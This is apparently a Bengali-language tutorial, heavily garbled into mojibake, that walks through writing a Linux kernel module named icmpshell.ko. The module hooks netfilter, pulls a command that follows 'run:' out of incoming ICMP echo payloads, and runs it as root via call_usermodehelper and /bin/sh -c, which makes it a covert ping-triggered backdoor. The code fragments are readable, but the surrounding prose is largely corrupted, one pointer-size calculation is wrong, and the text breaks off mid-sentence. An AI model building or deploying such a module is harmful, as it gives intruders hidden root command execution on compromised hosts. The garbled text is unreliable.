- āĻāĻāĻĒāĻŋ āĻāĻŦāĻ āĻāĻāĻ¸āĻŋāĻāĻŽāĻĒāĻŋ āĻšā§āĻĄāĻžāĻ°āĻā§āĻ˛āĻŋāĻā§ āĻŽā§āĻ¯āĻžāĻ¨āĻŋāĻĒā§āĻ˛ā§āĻ āĻāĻ°āĻžāĻ° āĻāĻ¨ā§āĻ¯ āĻāĻŽāĻžāĻā§ āĻ āĻ¤āĻŋāĻ°āĻŋāĻā§āĻ¤ āĻšā§āĻĄāĻžāĻ° āĻĢāĻžāĻāĻ˛āĻā§āĻ˛āĻŋ āĻ āĻ¨ā§āĻ¤āĻ°ā§āĻā§āĻā§āĻ¤ āĻāĻ°āĻ¤ā§ āĻšāĻ¯āĻŧā§āĻāĻŋāĻ˛āĨ¤
- āĻāĻŽāĻŋ āĻ¸āĻ°ā§āĻŦā§āĻā§āĻ āĻ˛āĻžāĻāĻ¨ āĻĻā§āĻ°ā§āĻā§āĻ¯ āĻ¸ā§āĻ āĻāĻ°ā§āĻāĻŋ:
#define MAX_CMD_LEN 1976
. āĻā§āĻ¨ āĻ āĻŋāĻ āĻāĻ? āĻāĻžāĻ°āĻŖ āĻāĻŽā§āĻĒāĻžāĻāĻ˛āĻžāĻ° āĻāĻāĻž āĻ¨āĻŋāĻ¯āĻŧā§ āĻ āĻāĻŋāĻ¯ā§āĻ! āĻ¤āĻžāĻ°āĻž āĻāĻ¤āĻŋāĻŽāĻ§ā§āĻ¯ā§ āĻāĻŽāĻžāĻā§ āĻĒāĻ°āĻžāĻŽāĻ°ā§āĻļ āĻĻāĻŋāĻ¯āĻŧā§āĻā§ āĻ¯ā§ āĻāĻŽāĻžāĻā§ āĻ¸ā§āĻā§āĻ¯āĻžāĻ āĻāĻŦāĻ āĻāĻžāĻĻāĻž āĻŦā§āĻāĻ¤ā§ āĻšāĻŦā§, āĻā§āĻ¨ āĻĻāĻŋāĻ¨ āĻāĻŽāĻŋ āĻ āĻŦāĻļā§āĻ¯āĻ āĻāĻāĻŋ āĻāĻ°āĻŦ āĻāĻŦāĻ āĻ¸āĻŽā§āĻāĻŦāĻ¤ āĻā§āĻĄāĻāĻŋ āĻ¸āĻāĻļā§āĻ§āĻ¨ āĻāĻ°āĻŦāĨ¤ āĻāĻŽāĻŋ āĻ āĻŦāĻŋāĻ˛āĻŽā§āĻŦā§ āĻāĻŽāĻžāĻ¨ā§āĻĄ āĻ§āĻžāĻ°āĻŖ āĻāĻ°āĻŦā§ āĻ¯ā§ āĻ˛āĻžāĻāĻ¨ āĻ¸ā§āĻ:char cmd_string[MAX_CMD_LEN];
. āĻāĻāĻŋ āĻ¸āĻŽāĻ¸ā§āĻ¤ āĻĢāĻžāĻāĻļāĻ¨ā§ āĻĻā§āĻļā§āĻ¯āĻŽāĻžāĻ¨ āĻšāĻāĻ¯āĻŧāĻž āĻāĻāĻŋāĻ¤; āĻāĻŽāĻŋ āĻ āĻ¨ā§āĻā§āĻā§āĻĻ 9 āĻ āĻāĻ°āĻ āĻŦāĻŋāĻ¸ā§āĻ¤āĻžāĻ°āĻŋāĻ¤āĻāĻžāĻŦā§ āĻāĻāĻŋ āĻ¸āĻŽā§āĻĒāĻ°ā§āĻā§ āĻāĻĨāĻž āĻŦāĻ˛āĻŦāĨ¤ - āĻāĻāĻ¨ āĻāĻŽāĻžāĻĻā§āĻ° āĻāĻ°āĻŽā§āĻ āĻāĻ°āĻ¤ā§ āĻšāĻŦā§ (
struct work_struct my_work;
) āĻāĻ āĻ¨ āĻāĻ°ā§āĻ¨ āĻāĻŦāĻ āĻāĻāĻŋ āĻ āĻ¨ā§āĻ¯ āĻĢāĻžāĻāĻļāĻ¨ā§āĻ° āĻ¸āĻžāĻĨā§ āĻ¸āĻāĻ¯ā§āĻā§āĻ¤ āĻāĻ°ā§āĻ¨ (DECLARE_WORK(my_work, work_handler);
) āĻāĻŽāĻŋ āĻ¨āĻŦāĻŽ āĻ āĻ¨ā§āĻā§āĻā§āĻĻā§ āĻā§āĻ¨ āĻāĻāĻŋ āĻĒā§āĻ°āĻ¯āĻŧā§āĻāĻ¨ā§āĻ¯āĻŧ āĻ¤āĻž āĻ¨āĻŋāĻ¯āĻŧā§āĻ āĻāĻĨāĻž āĻŦāĻ˛āĻŦāĨ¤ - āĻāĻāĻ¨ āĻāĻŽāĻŋ āĻāĻāĻāĻŋ āĻĢāĻžāĻāĻļāĻ¨ āĻā§āĻˇāĻŖāĻž āĻāĻ°āĻŋ, āĻ¯āĻž āĻāĻāĻāĻŋ āĻšā§āĻ āĻšāĻŦā§āĨ¤ āĻāĻžāĻāĻĒ āĻāĻŦāĻ āĻā§āĻšā§āĻ¤ āĻāĻ°ā§āĻā§āĻŽā§āĻ¨ā§āĻ āĻ¨ā§āĻāĻĢāĻŋāĻ˛ā§āĻāĻžāĻ° āĻĻā§āĻŦāĻžāĻ°āĻž āĻ¨āĻŋāĻ°ā§āĻĻā§āĻļāĻŋāĻ¤ āĻšāĻ¯āĻŧ, āĻāĻŽāĻ°āĻž āĻļā§āĻ§ā§āĻŽāĻžāĻ¤ā§āĻ° āĻāĻā§āĻ°āĻšā§
skb
. āĻāĻāĻŋ āĻāĻāĻāĻŋ āĻ¸āĻā§āĻ āĻŦāĻžāĻĢāĻžāĻ°, āĻāĻāĻāĻŋ āĻŽā§āĻ˛āĻŋāĻ āĻĄā§āĻāĻž āĻāĻžāĻ āĻžāĻŽā§ āĻ¯āĻž āĻāĻāĻāĻŋ āĻĒā§āĻ¯āĻžāĻā§āĻ āĻ¸āĻŽā§āĻĒāĻ°ā§āĻā§ āĻ¸āĻŽāĻ¸ā§āĻ¤ āĻāĻĒāĻ˛āĻŦā§āĻ§ āĻ¤āĻĨā§āĻ¯ āĻ§āĻžāĻ°āĻŖ āĻāĻ°ā§āĨ¤ - āĻĢāĻžāĻāĻļāĻ¨āĻāĻŋ āĻāĻžāĻ āĻāĻ°āĻžāĻ° āĻāĻ¨ā§āĻ¯, āĻāĻĒāĻ¨āĻžāĻ° āĻĻā§āĻāĻŋ āĻāĻžāĻ āĻžāĻŽā§ āĻāĻŦāĻ āĻĻā§āĻāĻŋ āĻĒā§āĻ¨āĻ°āĻžāĻŦā§āĻ¤ā§āĻ¤āĻŋ āĻ¸āĻš āĻŦā§āĻļ āĻāĻ¯āĻŧā§āĻāĻāĻŋ āĻā§āĻ°āĻŋāĻ¯āĻŧā§āĻŦāĻ˛ā§āĻ° āĻĒā§āĻ°āĻ¯āĻŧā§āĻāĻ¨ āĻšāĻŦā§āĨ¤
struct iphdr *iph; struct icmphdr *icmph; unsigned char *user_data; unsigned char *tail; unsigned char *i; int j = 0;
- āĻāĻŽāĻ°āĻž āĻ¯ā§āĻā§āĻ¤āĻŋ āĻĻāĻŋāĻ¯āĻŧā§ āĻļā§āĻ°ā§ āĻāĻ°āĻ¤ā§ āĻĒāĻžāĻ°āĻŋāĨ¤ āĻŽāĻĄāĻŋāĻāĻ˛āĻāĻŋ āĻāĻžāĻ āĻāĻ°āĻžāĻ° āĻāĻ¨ā§āĻ¯, ICMP āĻāĻā§ āĻŦā§āĻ¯āĻ¤ā§āĻ¤ āĻ
āĻ¨ā§āĻ¯ āĻā§āĻ¨āĻ āĻĒā§āĻ¯āĻžāĻā§āĻā§āĻ° āĻĒā§āĻ°āĻ¯āĻŧā§āĻāĻ¨ āĻ¨ā§āĻ, āĻ¤āĻžāĻ āĻāĻŽāĻ°āĻž āĻ
āĻ¨ā§āĻ¤āĻ°ā§āĻ¨āĻŋāĻ°ā§āĻŽāĻŋāĻ¤ āĻĢāĻžāĻāĻļāĻ¨āĻā§āĻ˛āĻŋ āĻŦā§āĻ¯āĻŦāĻšāĻžāĻ° āĻāĻ°ā§ āĻŦāĻžāĻĢāĻžāĻ°āĻāĻŋāĻā§ āĻĒāĻžāĻ°ā§āĻ¸ āĻāĻ°āĻŋ āĻāĻŦāĻ āĻ¸āĻŽāĻ¸ā§āĻ¤ āĻ¨āĻ¨-ICMP āĻāĻŦāĻ āĻ¨āĻ¨-āĻāĻā§ āĻĒā§āĻ¯āĻžāĻā§āĻāĻā§āĻ˛āĻŋ āĻĢā§āĻ˛ā§ āĻĻāĻŋāĻā§ˇ āĻĒā§āĻ°āĻ¤ā§āĻ¯āĻžāĻŦāĻ°ā§āĻ¤āĻ¨
NF_ACCEPT
āĻŽāĻžāĻ¨ā§ āĻĒā§āĻ¯āĻžāĻā§āĻ āĻā§āĻ°āĻšāĻŖāĻ¯ā§āĻā§āĻ¯āĻ¤āĻž, āĻāĻŋāĻ¨ā§āĻ¤ā§ āĻāĻĒāĻ¨āĻŋ āĻĢāĻŋāĻ°ā§ āĻāĻ¸ā§āĻ āĻĒā§āĻ¯āĻžāĻā§āĻ āĻŦāĻžāĻĻ āĻĻāĻŋāĻ¤ā§ āĻĒāĻžāĻ°ā§āĻ¨NF_DROP
.iph = ip_hdr(skb); icmph = icmp_hdr(skb); if (iph->protocol != IPPROTO_ICMP) { return NF_ACCEPT; } if (icmph->type != ICMP_ECHO) { return NF_ACCEPT; }
āĻāĻŽāĻŋ āĻāĻāĻĒāĻŋ āĻšā§āĻĄāĻžāĻ° āĻā§āĻ āĻ¨āĻž āĻāĻ°ā§ āĻāĻŋ āĻāĻāĻŦā§ āĻ¤āĻž āĻĒāĻ°ā§āĻā§āĻˇāĻž āĻāĻ°āĻŋāĻ¨āĻŋāĨ¤ āĻ¸āĻŋ āĻ¸āĻŽā§āĻĒāĻ°ā§āĻā§ āĻāĻŽāĻžāĻ° āĻ¨ā§āĻ¯ā§āĻ¨āĻ¤āĻŽ āĻā§āĻāĻžāĻ¨ āĻāĻŽāĻžāĻā§ āĻŦāĻ˛ā§ āĻ¯ā§ āĻ āĻ¤āĻŋāĻ°āĻŋāĻā§āĻ¤ āĻā§āĻ āĻāĻžāĻĄāĻŧāĻž, āĻāĻ¯āĻŧāĻžāĻ¨āĻ āĻāĻŋāĻā§ āĻāĻāĻ¤ā§ āĻŦāĻžāĻ§ā§āĻ¯āĨ¤ āĻāĻĒāĻ¨āĻŋ āĻ¯āĻĻāĻŋ āĻāĻŽāĻžāĻā§ āĻāĻāĻŋ āĻĨā§āĻā§ āĻŦāĻŋāĻ°āĻ¤ āĻ°āĻžāĻā§āĻ¨ āĻ¤āĻŦā§ āĻāĻŽāĻŋ āĻā§āĻļāĻŋ āĻšāĻŦ!
- āĻāĻāĻ¨ āĻ¯ā§ āĻĒā§āĻ¯āĻžāĻā§āĻāĻāĻŋ āĻāĻĒāĻ¨āĻžāĻ° āĻĒā§āĻ°āĻ¯āĻŧā§āĻāĻ¨ āĻ¸āĻ āĻŋāĻ āĻ§āĻ°āĻŖā§āĻ°, āĻāĻĒāĻ¨āĻŋ āĻĄā§āĻāĻž āĻŦā§āĻ° āĻāĻ°āĻ¤ā§ āĻĒāĻžāĻ°ā§āĻ¨āĨ¤ āĻāĻāĻāĻŋ āĻŦāĻŋāĻ˛ā§āĻ-āĻāĻ¨ āĻĢāĻžāĻāĻļāĻ¨ āĻāĻžāĻĄāĻŧāĻž, āĻāĻĒāĻ¨āĻžāĻā§ āĻĒā§āĻ°āĻĨāĻŽā§ āĻĒā§āĻ˛ā§āĻĄā§āĻ° āĻļā§āĻ°ā§āĻ¤ā§ āĻāĻāĻāĻŋ āĻĒāĻ¯āĻŧā§āĻ¨ā§āĻāĻžāĻ° āĻĒā§āĻ¤ā§ āĻšāĻŦā§āĨ¤ āĻāĻāĻŋ āĻāĻ āĻāĻžāĻ¯āĻŧāĻāĻžāĻ¯āĻŧ āĻāĻ°āĻž āĻšāĻ¯āĻŧ, āĻāĻĒāĻ¨āĻžāĻā§ āĻĒāĻ¯āĻŧā§āĻ¨ā§āĻāĻžāĻ°āĻāĻŋāĻā§ ICMP āĻšā§āĻĄāĻžāĻ°ā§āĻ° āĻļā§āĻ°ā§āĻ¤ā§ āĻ¨āĻŋāĻ¯āĻŧā§ āĻ¯ā§āĻ¤ā§ āĻšāĻŦā§ āĻāĻŦāĻ āĻāĻāĻŋāĻā§ āĻāĻ āĻšā§āĻĄāĻžāĻ°ā§āĻ° āĻāĻāĻžāĻ°ā§ āĻ¨āĻŋāĻ¯āĻŧā§ āĻ¯ā§āĻ¤ā§ āĻšāĻŦā§āĨ¤ āĻ¸āĻŦāĻāĻŋāĻā§ āĻāĻžāĻ āĻžāĻŽā§ āĻŦā§āĻ¯āĻŦāĻšāĻžāĻ° āĻāĻ°ā§
icmph
:user_data = (unsigned char *)((unsigned char *)icmph + (sizeof(icmph)));
āĻšā§āĻĄāĻžāĻ°ā§āĻ° āĻļā§āĻˇ āĻ āĻŦāĻļā§āĻ¯āĻ āĻĒā§āĻ˛ā§āĻĄā§āĻ° āĻļā§āĻˇā§āĻ° āĻ¸āĻžāĻĨā§ āĻŽāĻŋāĻ˛āĻŦā§skb
, āĻ¤āĻžāĻ āĻāĻŽāĻ°āĻž āĻ¸āĻāĻļā§āĻ˛āĻŋāĻˇā§āĻ āĻāĻžāĻ āĻžāĻŽā§ āĻĨā§āĻā§ āĻĒāĻžāĻ°āĻŽāĻžāĻŖāĻŦāĻŋāĻ āĻāĻĒāĻžāĻ¯āĻŧ āĻŦā§āĻ¯āĻŦāĻšāĻžāĻ° āĻāĻ°ā§ āĻāĻāĻŋ āĻĒā§āĻ°āĻžāĻĒā§āĻ¤ āĻāĻ°āĻŋ:tail = skb_tail_pointer(skb);
.
āĻāĻŦāĻŋ āĻā§āĻ°āĻŋ āĻšāĻ¯āĻŧā§ āĻā§āĻā§āĻāĻāĻžāĻ¨ā§ āĻĨā§āĻā§ , āĻāĻĒāĻ¨āĻŋ āĻ¸āĻā§āĻ āĻŦāĻžāĻĢāĻžāĻ° āĻ¸āĻŽā§āĻĒāĻ°ā§āĻā§ āĻāĻ°āĻ āĻĒāĻĄāĻŧāĻ¤ā§ āĻĒāĻžāĻ°ā§āĻ¨āĨ¤ - āĻāĻāĻŦāĻžāĻ° āĻāĻĒāĻ¨āĻžāĻ° āĻļā§āĻ°ā§ āĻāĻŦāĻ āĻļā§āĻˇā§āĻ° āĻĒāĻ¯āĻŧā§āĻ¨ā§āĻāĻžāĻ° āĻšāĻ¯āĻŧā§ āĻā§āĻ˛ā§, āĻāĻĒāĻ¨āĻŋ āĻāĻāĻāĻŋ āĻ¸ā§āĻā§āĻ°āĻŋāĻāĻ¯āĻŧā§ āĻĄā§āĻāĻž āĻāĻĒāĻŋ āĻāĻ°āĻ¤ā§ āĻĒāĻžāĻ°ā§āĻ¨
cmd_string
, āĻāĻāĻāĻŋ āĻāĻĒāĻ¸āĻ°ā§āĻ āĻāĻĒāĻ¸ā§āĻĨāĻŋāĻ¤āĻŋāĻ° āĻāĻ¨ā§āĻ¯ āĻāĻāĻŋ āĻĒāĻ°ā§āĻā§āĻˇāĻž āĻāĻ°ā§āĻ¨run:
āĻāĻŦāĻ, āĻšāĻ¯āĻŧ āĻĒā§āĻ¯āĻžāĻā§āĻāĻāĻŋ āĻ āĻ¨ā§āĻĒāĻ¸ā§āĻĨāĻŋāĻ¤ āĻĨāĻžāĻāĻ˛ā§ āĻ¤āĻž āĻŦāĻžāĻ¤āĻŋāĻ˛ āĻāĻ°ā§āĻ¨, āĻ āĻĨāĻŦāĻž āĻāĻ āĻāĻĒāĻ¸āĻ°ā§āĻāĻāĻŋ āĻ¸āĻ°āĻŋāĻ¯āĻŧā§ āĻ˛āĻžāĻāĻ¨āĻāĻŋ āĻāĻŦāĻžāĻ° āĻ˛āĻŋāĻā§āĻ¨āĨ¤ - āĻāĻāĻžāĻ, āĻāĻāĻ¨ āĻāĻĒāĻ¨āĻŋ āĻ
āĻ¨ā§āĻ¯ āĻšā§āĻ¯āĻžāĻ¨ā§āĻĄāĻ˛āĻžāĻ°āĻā§ āĻāĻ˛ āĻāĻ°āĻ¤ā§ āĻĒāĻžāĻ°ā§āĻ¨:
schedule_work(&my_work);
. āĻ¯ā§āĻšā§āĻ¤ā§ āĻāĻ āĻāĻžāĻ¤ā§āĻ¯āĻŧ āĻāĻ˛ā§ āĻāĻāĻāĻŋ āĻĒā§āĻ¯āĻžāĻ°āĻžāĻŽāĻŋāĻāĻžāĻ° āĻĒāĻžāĻ¸ āĻāĻ°āĻž āĻ¸āĻŽā§āĻāĻŦ āĻšāĻŦā§ āĻ¨āĻž, āĻ¤āĻžāĻ āĻāĻŽāĻžāĻ¨ā§āĻĄ āĻ¸āĻš āĻ˛āĻžāĻāĻ¨āĻāĻŋ āĻ āĻŦāĻļā§āĻ¯āĻ āĻŦāĻŋāĻļā§āĻŦāĻŦā§āĻ¯āĻžāĻĒā§ āĻšāĻ¤ā§ āĻšāĻŦā§āĨ¤schedule_work()
āĻĒāĻžāĻ¸ āĻāĻ°āĻž āĻāĻžāĻ āĻžāĻŽā§āĻ° āĻ¸āĻžāĻĨā§ āĻ¯ā§āĻā§āĻ¤ āĻĢāĻžāĻāĻļāĻ¨āĻāĻŋāĻā§ āĻāĻžāĻ¸ā§āĻ āĻļāĻŋāĻĄāĻŋāĻāĻ˛āĻžāĻ°ā§āĻ° āĻ¸āĻžāĻ§āĻžāĻ°āĻŖ āĻ¸āĻžāĻ°āĻŋāĻ¤ā§ āĻ°āĻžāĻāĻŦā§ āĻāĻŦāĻ āĻ¸āĻŽā§āĻĒā§āĻ°ā§āĻŖ āĻāĻ°āĻŦā§, āĻāĻĒāĻ¨āĻžāĻā§ āĻāĻŽāĻžāĻ¨ā§āĻĄāĻāĻŋ āĻ¸āĻŽā§āĻĒā§āĻ°ā§āĻŖ āĻšāĻāĻ¯āĻŧāĻžāĻ° āĻāĻ¨ā§āĻ¯ āĻ āĻĒā§āĻā§āĻˇāĻž āĻāĻ°āĻ¤ā§ āĻĻā§āĻŦā§ āĻ¨āĻžāĨ¤ āĻāĻāĻŋ āĻĒā§āĻ°āĻ¯āĻŧā§āĻāĻ¨ā§āĻ¯āĻŧ āĻāĻžāĻ°āĻŖ āĻšā§āĻ āĻā§āĻŦ āĻĻā§āĻ°ā§āĻ¤ āĻšāĻ¤ā§ āĻšāĻŦā§āĨ¤ āĻ āĻ¨ā§āĻ¯āĻĨāĻžāĻ¯āĻŧ, āĻāĻĒāĻ¨āĻžāĻ° āĻĒāĻāĻ¨ā§āĻĻ āĻšāĻ˛ āĻ¯ā§ āĻāĻŋāĻā§āĻ āĻļā§āĻ°ā§ āĻšāĻŦā§ āĻ¨āĻž āĻŦāĻž āĻāĻĒāĻ¨āĻŋ āĻāĻāĻāĻŋ āĻāĻžāĻ°ā§āĻ¨ā§āĻ˛ āĻĒā§āĻ¯āĻžāĻ¨āĻŋāĻ āĻĒāĻžāĻŦā§āĻ¨āĨ¤ āĻŦāĻŋāĻ˛āĻŽā§āĻŦ āĻ¯ā§āĻ¨ āĻŽā§āĻ¤ā§āĻ¯ā§āĻ° āĻŽāĻ¤ā§! - āĻāĻāĻŋāĻ, āĻāĻĒāĻ¨āĻŋ āĻ¸āĻāĻļā§āĻ˛āĻŋāĻˇā§āĻ āĻ°āĻŋāĻāĻžāĻ°ā§āĻ¨ āĻ¸āĻš āĻĒā§āĻ¯āĻžāĻā§āĻāĻāĻŋ āĻā§āĻ°āĻšāĻŖ āĻāĻ°āĻ¤ā§ āĻĒāĻžāĻ°ā§āĻ¨āĨ¤
āĻāĻāĻāĻžāĻ°āĻ¸ā§āĻĒā§āĻ¸ā§ āĻāĻāĻāĻŋ āĻĒā§āĻ°ā§āĻā§āĻ°āĻžāĻŽ āĻāĻ˛ āĻāĻ°āĻž
āĻāĻ āĻĢāĻžāĻāĻļāĻ¨ āĻ¸āĻŦāĻā§āĻ¯āĻŧā§ āĻŦā§āĻ§āĻāĻŽā§āĻ¯ āĻšāĻ¯āĻŧ. āĻāĻ° āĻ¨āĻžāĻŽ āĻĻā§āĻāĻ¯āĻŧāĻž āĻšāĻ¯āĻŧā§āĻāĻŋāĻ˛ DECLARE_WORK()
, āĻĒā§āĻ°āĻāĻžāĻ° āĻāĻŦāĻ āĻā§āĻšā§āĻ¤ āĻāĻ°ā§āĻā§āĻŽā§āĻ¨ā§āĻ āĻāĻāĻ°ā§āĻˇāĻŖā§āĻ¯āĻŧ āĻ¨āĻ¯āĻŧāĨ¤ āĻāĻŽāĻ°āĻž āĻāĻŽāĻžāĻ¨ā§āĻĄā§āĻ° āĻ¸āĻžāĻĨā§ āĻ˛āĻžāĻāĻ¨āĻāĻŋ āĻā§āĻ°āĻšāĻŖ āĻāĻ°āĻŋ āĻāĻŦāĻ āĻāĻāĻŋ āĻ¸āĻŽā§āĻĒā§āĻ°ā§āĻŖāĻ°ā§āĻĒā§ āĻļā§āĻ˛ā§ āĻĒā§āĻ°ā§āĻ°āĻŖ āĻāĻ°āĻŋāĨ¤ āĻ¤āĻžāĻā§ āĻĒāĻžāĻ°ā§āĻ¸āĻŋāĻ, āĻŦāĻžāĻāĻ¨āĻžāĻ°āĻŋ āĻ
āĻ¨ā§āĻ¸āĻ¨ā§āĻ§āĻžāĻ¨ āĻāĻŦāĻ āĻ
āĻ¨ā§āĻ¯ āĻ¸āĻŦāĻāĻŋāĻā§āĻ° āĻ¸āĻžāĻĨā§ āĻŽā§āĻāĻžāĻŦāĻŋāĻ˛āĻž āĻāĻ°āĻ¤ā§ āĻĻāĻŋāĻ¨āĨ¤
static void work_handler(struct work_struct * work)
{
static char *argv[] = {"/bin/sh", "-c", cmd_string, NULL};
static char *envp[] = {"PATH=/bin:/sbin", NULL};
call_usermodehelper(argv[0], argv, envp, UMH_WAIT_PROC);
}
- āĻ¸ā§āĻā§āĻ°āĻŋāĻ āĻāĻāĻāĻŋ āĻ
ā§āĻ¯āĻžāĻ°ā§ āĻāĻ°ā§āĻā§āĻŽā§āĻ¨ā§āĻ āĻ¸ā§āĻ āĻāĻ°ā§āĻ¨
argv[]
. āĻāĻŽāĻŋ āĻ āĻ¨ā§āĻŽāĻžāĻ¨ āĻāĻ°āĻŦ āĻ¯ā§ āĻ¸āĻŦāĻžāĻ āĻāĻžāĻ¨ā§ āĻ¯ā§ āĻĒā§āĻ°ā§āĻā§āĻ°āĻžāĻŽāĻā§āĻ˛āĻŋ āĻāĻ¸āĻ˛ā§ āĻāĻāĻ°āĻāĻŽ āĻāĻ˛ā§, āĻāĻŦāĻ āĻ¸ā§āĻĒā§āĻ¸ āĻ¸āĻš āĻāĻāĻāĻŋ āĻā§āĻ°āĻŽāĻžāĻāĻ¤ āĻ˛āĻžāĻāĻ¨ āĻšāĻŋāĻ¸āĻžāĻŦā§ āĻ¨āĻ¯āĻŧāĨ¤ - āĻĒāĻ°āĻŋāĻŦā§āĻļā§āĻ° āĻā§āĻ°āĻŋāĻ¯āĻŧā§āĻŦāĻ˛ āĻ¸ā§āĻ āĻāĻ°ā§āĻ¨āĨ¤ āĻāĻŽāĻŋ āĻ¨ā§āĻ¯ā§āĻ¨āĻ¤āĻŽ āĻĒāĻžāĻĨā§āĻ° āĻ¸ā§āĻ āĻ¸āĻš āĻļā§āĻ§ā§āĻŽāĻžāĻ¤ā§āĻ° PATH āĻ¸āĻ¨ā§āĻ¨āĻŋāĻŦā§āĻļ āĻāĻ°ā§āĻāĻŋ, āĻāĻļāĻž āĻāĻ°āĻāĻŋ āĻ¯ā§ āĻ¸ā§āĻā§āĻ˛āĻŋ āĻāĻ¤āĻŋāĻŽāĻ§ā§āĻ¯ā§āĻ āĻāĻāĻ¤ā§āĻ°āĻŋāĻ¤ āĻšāĻ¯āĻŧā§āĻā§
/bin
Ņ/usr/bin
и/sbin
Ņ/usr/sbin
. āĻ āĻ¨ā§āĻ¯āĻžāĻ¨ā§āĻ¯ āĻĒāĻĨāĻā§āĻ˛āĻŋ āĻā§āĻŦ āĻāĻŽāĻ āĻ āĻ¨ā§āĻļā§āĻ˛āĻ¨ā§ āĻā§āĻ°ā§āĻ¤ā§āĻŦāĻĒā§āĻ°ā§āĻŖāĨ¤ - āĻšāĻ¯āĻŧā§ āĻā§āĻā§, āĻāĻāĻž āĻāĻ°āĻž āĻ¯āĻžāĻ! āĻāĻžāĻ°ā§āĻ¨ā§āĻ˛ āĻĢāĻžāĻāĻļāĻ¨
call_usermodehelper()
āĻāĻ¨ā§āĻā§āĻ°āĻŋ āĻā§āĻ°āĻšāĻŖ āĻāĻ°ā§āĨ¤ āĻŦāĻžāĻāĻ¨āĻžāĻ°āĻŋāĻ° āĻĒāĻĨ, āĻāĻ°ā§āĻā§āĻŽā§āĻ¨ā§āĻā§āĻ° āĻ ā§āĻ¯āĻžāĻ°ā§, āĻāĻ¨āĻāĻžāĻ¯āĻŧāĻ°āĻ¨āĻŽā§āĻ¨ā§āĻ āĻā§āĻ°āĻŋāĻ¯āĻŧā§āĻŦāĻ˛ā§āĻ° āĻ ā§āĻ¯āĻžāĻ°ā§āĨ¤ āĻāĻāĻžāĻ¨ā§ āĻāĻŽāĻŋ āĻāĻāĻžāĻ āĻ āĻ¨ā§āĻŽāĻžāĻ¨ āĻāĻ°āĻŋ āĻ¯ā§ āĻĒā§āĻ°āĻ¤ā§āĻ¯ā§āĻā§āĻ āĻāĻāĻāĻŋ āĻĒā§āĻĨāĻ āĻ¯ā§āĻā§āĻ¤āĻŋ āĻšāĻŋāĻ¸āĻžāĻŦā§ āĻāĻā§āĻ¸āĻŋāĻāĻŋāĻāĻā§āĻŦāĻ˛ āĻĢāĻžāĻāĻ˛ā§āĻ° āĻĒāĻžāĻĨ āĻĒāĻžāĻ¸ āĻāĻ°āĻžāĻ° āĻ āĻ°ā§āĻĨ āĻŦā§āĻā§, āĻ¤āĻŦā§ āĻāĻĒāĻ¨āĻŋ āĻāĻŋāĻā§āĻāĻžāĻ¸āĻž āĻāĻ°āĻ¤ā§ āĻĒāĻžāĻ°ā§āĻ¨āĨ¤ āĻļā§āĻˇ āĻ¯ā§āĻā§āĻ¤āĻŋāĻāĻŋ āĻ¨āĻŋāĻ°ā§āĻĻāĻŋāĻˇā§āĻ āĻāĻ°ā§ āĻ¯ā§ āĻĒā§āĻ°āĻā§āĻ°āĻŋāĻ¯āĻŧāĻžāĻāĻŋ āĻ¸āĻŽā§āĻĒā§āĻ°ā§āĻŖ āĻšāĻāĻ¯āĻŧāĻžāĻ° āĻāĻ¨ā§āĻ¯ āĻ āĻĒā§āĻā§āĻˇāĻž āĻāĻ°āĻ¤ā§ āĻšāĻŦā§ āĻāĻŋāĻ¨āĻž (UMH_WAIT_PROC
), āĻĒā§āĻ°āĻā§āĻ°āĻŋāĻ¯āĻŧāĻž āĻļā§āĻ°ā§ (UMH_WAIT_EXEC
) āĻŦāĻž āĻŽā§āĻā§āĻ āĻ āĻĒā§āĻā§āĻˇāĻž āĻāĻ°āĻŦā§āĻ¨ āĻ¨āĻž (UMH_NO_WAIT
) āĻāĻ°ā§ āĻāĻŋāĻā§ āĻāĻā§?UMH_KILLABLE
, āĻāĻŽāĻŋ āĻāĻāĻžāĻ° āĻĻāĻŋāĻā§ āĻ¤āĻžāĻāĻžāĻāĻ¨āĻŋāĨ¤
āĻ¸āĻŽāĻžāĻŦā§āĻļ
āĻāĻžāĻ°ā§āĻ¨ā§āĻ˛ āĻŽāĻĄāĻŋāĻāĻ˛āĻā§āĻ˛āĻŋāĻ° āĻ¸āĻŽāĻžāĻŦā§āĻļ āĻāĻžāĻ°ā§āĻ¨ā§āĻ˛ āĻŽā§āĻ-āĻĢā§āĻ°ā§āĻŽāĻāĻ¯āĻŧāĻžāĻ°ā§āĻā§āĻ° āĻŽāĻžāĻ§ā§āĻ¯āĻŽā§ āĻ¸āĻā§āĻāĻžāĻ˛āĻŋāĻ¤ āĻšāĻ¯āĻŧāĨ¤ āĻĄāĻžāĻāĻ˛ make
āĻāĻžāĻ°ā§āĻ¨ā§āĻ˛ āĻ¸āĻāĻ¸ā§āĻāĻ°āĻŖā§āĻ° āĻ¸āĻžāĻĨā§ āĻāĻŦāĻĻā§āĻ§ āĻāĻāĻāĻŋ āĻŦāĻŋāĻļā§āĻˇ āĻĄāĻŋāĻ°ā§āĻā§āĻāĻ°āĻŋāĻ° āĻāĻŋāĻ¤āĻ°ā§ (āĻāĻāĻžāĻ¨ā§ āĻ¸āĻāĻā§āĻāĻžāĻ¯āĻŧāĻŋāĻ¤ āĻāĻ°āĻž āĻšāĻ¯āĻŧā§āĻā§: KERNELDIR:=/lib/modules/$(shell uname -r)/build
), āĻāĻŦāĻ āĻŽāĻĄāĻŋāĻāĻ˛ā§āĻ° āĻ
āĻŦāĻ¸ā§āĻĨāĻžāĻ¨ āĻĒāĻ°āĻŋāĻŦāĻ°ā§āĻ¤āĻ¨āĻļā§āĻ˛ā§ āĻĒā§āĻ°ā§āĻ°āĻŖ āĻāĻ°āĻž āĻšāĻ¯āĻŧ M
āĻ¯ā§āĻā§āĻ¤āĻŋāĻ¤ā§ icmpshell.ko āĻāĻŦāĻ āĻā§āĻ˛āĻŋāĻ¨ āĻāĻžāĻ°ā§āĻā§āĻ āĻ¸āĻŽā§āĻĒā§āĻ°ā§āĻŖāĻ°ā§āĻĒā§ āĻāĻ āĻĢā§āĻ°ā§āĻŽāĻāĻ¯āĻŧāĻžāĻ°ā§āĻ āĻŦā§āĻ¯āĻŦāĻšāĻžāĻ° āĻāĻ°ā§āĨ¤ āĻāĻŋāĻ¤āĻ°ā§ obj-m
āĻāĻāĻāĻŋ āĻŽāĻĄāĻŋāĻāĻ˛ā§ āĻ°ā§āĻĒāĻžāĻ¨ā§āĻ¤āĻ°āĻŋāĻ¤ āĻāĻ°āĻž āĻšāĻŦā§ āĻāĻŽāĻ¨ āĻ
